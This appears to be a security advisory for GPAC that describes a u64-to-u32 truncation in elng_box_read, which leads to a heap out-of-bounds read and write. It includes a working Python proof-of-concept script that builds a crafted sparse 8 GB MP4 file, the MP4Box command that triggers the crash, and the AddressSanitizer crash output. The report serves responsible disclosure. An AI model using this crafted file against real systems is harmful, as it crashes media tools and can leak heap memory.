| 설명 | ## Summary
An integer truncation vulnerability exists in `src/isomedia/box_code_base.c` in the `elng_box_read()` function. When parsing a crafted MP4 file containing an `elng` (Extended Language) box with a 64-bit largesize header, the box payload size `ptr->size` (type `u64`) is silently truncated to `u32` for memory allocation, but the original 64-bit value is later used as an array index, resulting in a heap out-of-bounds read approximately 4 GB past the allocated buffer.
## Vulnerability Details
**Location:** `src/isomedia/box_code_base.c:3684–3692`
**Vulnerable Code:**
```c
GF_Err elng_box_read(GF_Box *s, GF_BitStream *bs)
{
GF_ExtendedLanguageBox *ptr = (GF_ExtendedLanguageBox *)s;
if (ptr->size) {
ptr->extended_language = (char*)gf_malloc((u32) ptr->size); // [3684] u64 → u32 truncation
if (ptr->extended_language == NULL) return GF_OUT_OF_MEM;
gf_bs_read_data(bs, ptr->extended_language, (u32) ptr->size); // [3686] truncated read size
if (ptr->extended_language[ptr->size-1]) { // [3688] u64 index → OOB READ
char *str = (char*)gf_malloc((u32) ptr->size + 1); // [3689] truncated again
if (!str) return GF_OUT_OF_MEM;
memcpy(str, ptr->extended_language, (u32) ptr->size);
str[ptr->size] = 0; // [3692] u64 index → OOB WRITE
gf_free(ptr->extended_language);
ptr->extended_language = str;
}
}
return GF_OK;
}
```
The vulnerability is triggered when:
1. An `elng` box uses the ISOBMFF largesize extension (`size` field = `1`, followed by an 8-byte largesize), with the high 32 bits of largesize non-zero (e.g. `0x100000020`)
2. GPAC parses the file through a path where `gf_bs_available(bs)` is large enough to pass the `INCOMPLETE_FILE` guard in `gf_isom_box_parse_ex` (line 343), so that `elng_box_read` is actually invoked with the full u64 `ptr->size`
## Root Cause
ISOBMFF stores box sizes in `GF_Box.size` as `u64`. The `elng_box_read` function applies `(u32)` casts to `ptr->size` when calling `gf_malloc` and `gf_bs_read_data`, truncating a value such as `0x10000000C` to `12`. However, lines 3688 and 3692 use the original `ptr->size` (still `0x10000000C`) as an array subscript without any cast, indexing approximately 4 GB beyond the 12-byte allocation. This is the same truncation anti-pattern guarded against in other box readers (e.g. `co64_box_read`) but missed here.
The `elng` box is valid inside `extk` containers (`box_funcs.c:1245`, parents `"mdia extk ipco"`), and `extk` is valid directly inside `moov` (`box_funcs.c:1219`). A Linux **sparse file** is used to satisfy the `gf_bs_available` check: `gf_bs_available()` returns `bs->size - bs->position` where `bs->size` is captured from `fstat().st_size` at open time. Because `fstat` reports the logical file size of a sparse file (e.g. 8 GB) regardless of actual disk usage, a file containing only 64 bytes of real box headers but declared as 8 GB causes `gf_bs_available` to return ~8 GB at the point of parsing the `elng` box, making `0x100000010 < 8 GB` evaluate to true and allowing `elng_box_read` to proceed.
## Steps to Reproduce
**Requirements:** Linux (sparse file support; ext4/xfs/btrfs), Python 3, GPAC compiled with AddressSanitizer (`--enable-sanitizer`).
### 1. Generate the PoC file
Save the following script as `poc_elng.py` and run it. It writes 64 bytes of real MP4 box data and then extends the file to 8 GB as a sparse file (actual disk usage stays under 4 KB).
```python
#!/usr/bin/env python3
"""
VULN-001 PoC: elng box u64->u32 truncation -> heap OOB read/write
Affected: src/isomedia/box_code_base.c:3684-3692 (elng_box_read)
Trigger mechanism: Linux sparse file makes gf_bs_available() return ~8 GB,
bypassing the INCOMPLETE_FILE guard in gf_isom_box_parse_ex(), so
elng_box_read() is reached with the full u64 ptr->size = 0x10000000C.
gf_malloc((u32)ptr->size) allocates only 12 bytes, but
ptr->extended_language[ptr->size - 1] indexes 4 GB past the buffer.
"""
import struct, os
OUT = "poc_elng.mp4"
# ISOBMFF largesize box: 4B size=1, 4B type, 8B largesize, then content
def large_box(box_type: bytes, largesize: int, content: bytes = b"") -> bytes:
return struct.pack(">I4sQ", 1, box_type, largesize) + content
# Box tree: moov -> extk -> elng
# elng largesize = 0x100000020
# -> ptr->size (u64) = 0x100000020 - 16 (hdr) - 4 (fullbox) = 0x10000000C
# -> (u32) ptr->size = 12 [malloc/read arg, TRUNCATED]
# -> ptr->extended_language[0x10000000B] = OOB READ ~4 GB past buffer
ELNG_LARGESIZE = 0x100000020
EXTK_LARGESIZE = 0x100000030
MOOV_LARGESIZE = 0x100000040
elng_payload = struct.pack(">I", 0) # fullbox version=0 flags=0
elng_payload += b"A" * 12 # 12 non-zero bytes so buf[0] != 0,
# ensuring the OOB branch is taken
elng = large_box(b"elng", ELNG_LARGESIZE, elng_payload) # 32 bytes
extk = large_box(b"extk", EXTK_LARGESIZE, elng) # 48 bytes
moov = large_box(b"moov", MOOV_LARGESIZE, extk) # 64 bytes
with open(OUT, "wb") as f:
f.write(moov) # write 64 bytes of real data
os.truncate(OUT, 0x200000000) # extend to 8 GB (sparse, <4 KB on disk)
print(f"[+] {OUT} created")
print(f" logical size : {os.path.getsize(OUT):,} bytes (8 GB)")
print(f" real data : {len(moov)} bytes")
print(f" ptr->size : 0x10000000C (u64)")
print(f" malloc arg : 12 ((u32) truncation)")
print(f" OOB index : 0x10000000B (~4 GB past buffer)")
```
```shell
python3 poc_elng.py
```
Expected output:
```
[+] poc_elng.mp4 created
logical size : 8,589,934,592 bytes (8 GB)
real data : 64 bytes
ptr->size : 0x10000000C (u64)
malloc arg : 12 ((u32) truncation)
OOB index : 0x10000000B (~4 GB past buffer)
```
Verify that the file is sparse (actual disk usage should be ~4 KB, not 8 GB):
```shell
ls -lh poc_elng.mp4 # shows 8.0G (logical)
du -sh poc_elng.mp4 # shows ~4.0K (real disk usage)
```
### 2. Trigger the vulnerability
```shell
/path/to/MP4Box -info poc_elng.mp4 2>&1
```
Because the binary is linked against `libasan`, the ASAN runtime is always active. The process will crash with `SEGV` immediately:
```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==PID==ERROR: AddressSanitizer: SEGV on unknown address ...
==PID==The signal is caused by a READ memory access.
#0 ... in elng_box_read (.../libgpac.so.16+...)
#1 ... in gf_isom_box_parse_ex ...
#2 ... in gf_isom_box_array_read ...
#3 ... in trak_box_read ...
...
rax = 0x000000010000000c <- ptr->size (u64), high 32 bits = 0x1
rdi = 0x000000010000000b <- ptr->size - 1, the OOB index (~4 GB)
SUMMARY: AddressSanitizer: SEGV ... in elng_box_read
==PID==ABORTING
```
The registers confirm the truncation: `rax` holds the full u64 `ptr->size = 0x10000000C`, while only 12 bytes (`(u32)0x10000000C = 12`) were allocated.
### 3. Verify with AddressSanitizer
To suppress leak reports and force abort on the OOB signal:
```shell
ASAN_OPTIONS=detect_leaks=0:abort_on_error=1 \
/path/to/MP4Box -info poc_elng.mp4 2>&1
```
The output is identical to step 2. The crash is 100% reproducible.
## Expected Result
No crash. An `elng` box whose largesize exceeds the `u32` range should be rejected with `GF_ISOM_INVALID_FILE` before any memory allocation occurs.
## Actual Result
```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==190737==ERROR: AddressSanitizer: SEGV on unknown address 0x7b33ba3e0ddb
==190737==The signal is caused by a READ memory access.
#0 0x7f12be8c5ce7 in elng_box_read
(/home/vuln/gpac/build/lib/libgpac.so.16+0x20c5ce7)
#1 0x7f12be9793d4 in gf_isom_box_parse_ex
(/home/vuln/gpac/build/lib/libgpac.so.16+0x21793d4)
#2 0x7f12be97e922 in gf_isom_box_array_read
(/home/vuln/gpac/build/lib/libgpac.so.16+0x217e922)
#3 0x7f12be8e52f1 in trak_box_read
(/home/vuln/gpac/build/lib/libgpac.so.16+0x20e52f1)
#4 0x7f12be9793d4 in gf_isom_box_parse_ex
(/home/vuln/gpac/build/lib/libgpac.so.16+0x21793d4)
#5 0x7f12be97e922 in gf_isom_box_array_read
(/home/vuln/gpac/build/lib/libgpac.so.16+0x217e922)
#6 0x7f12be9793d4 in gf_isom_box_parse_ex
(/home/vuln/gpac/build/lib/libgpac.so.16+0x21793d4)
#7 0x7f12be97b461 in gf_isom_parse_root_box
(/home/vuln/gpac/build/lib/libgpac.so.16+0x217b461)
#8 0x7f12be99ec3e in gf_isom_parse_movie_boxes
(/home/vuln/gpac/build/lib/libgpac.so.16+0x219ec3e)
#9 0x7f12be9a4d61 in gf_isom_open_file
(/home/vuln/gpac/build/lib/libgpac.so.16+0x21a4d61)
#10 0x55a5710073d5 in mp4box_main
/home/vuln/gpac/repo/applications/mp4box/mp4box.c:6480
==190737==Register values:
rax = 0x000000010000000c rbx = 0x00007bf2ba3e0040
rdi = 0x000000010000000b r12 = 0x0000000100000020
SUMMARY: AddressSanitizer: SEGV in elng_box_read
==190737==ABORTING
```
Key register values confirm the truncation:
- `rax = 0x000000010000000c` — `ptr->size` (u64, high 32 bits = `0x1`)
- `rdi = 0x000000010000000b` — `ptr->size - 1` (the OOB array index, ~4 GB)
- `rbx = 0x00007bf2ba3e0040` — `buf` base address (`gf_malloc(12)` return value, only 12 bytes allocated)
- `r12 = 0x0000000100000020` — elng largesize as constructed
## Impact
- **Out-of-bounds Read (CWE-125)**: Heap memory ~4 GB past the allocation is read, potentially leaking sensitive data from adjacent mappings
- **Out-of-bounds Write (CWE-787)**: If execution reaches line 3692, a null byte is written at `str[ptr->size]` |
|---|